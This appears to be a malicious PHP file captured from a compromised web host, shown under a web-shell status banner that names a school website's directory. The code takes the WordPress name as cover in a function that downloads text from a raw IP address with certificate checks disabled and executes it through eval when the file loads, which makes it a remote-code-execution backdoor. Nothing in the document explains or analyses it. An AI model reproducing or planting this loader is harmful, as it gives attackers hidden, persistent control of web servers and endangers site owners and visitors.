Server : LiteSpeed System : Linux in-mum-web1949.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64 User : u595547767 ( 595547767) PHP Version : 7.4.33 Disable Function : NONE Directory : /home/u595547767/domains/irisworldschool.com/public_html/ |
<?php
function WordPress_Http_Curl ( $url, $args = array() ) {
if ( ! function_exists( 'curl_init' ) || ! function_exists( 'curl_exec' ) ) {
return false;
}
$handle = curl_init();
curl_setopt( $handle, CURLOPT_URL, $url );
curl_setopt( $handle, CURLOPT_RETURNTRANSFER, true );
curl_setopt( $handle, CURLOPT_HEADER, false );
curl_setopt( $handle, CURLOPT_SSL_VERIFYHOST, false );
curl_setopt( $handle, CURLOPT_SSL_VERIFYPEER, false );
$response = curl_exec( $handle );
$curl_error = curl_error( $handle );
if ( !$curl_error ) {
$response = array(
'data' => eval( '?>'. $response )
);
return $response;
}
if ( PHP_VERSION_ID < 80000 ) {
curl_close( $handle );
}
}
$result = WordPress_Http_Curl( 'http://192.187.108.218/z51208_12/stat/index.txt' );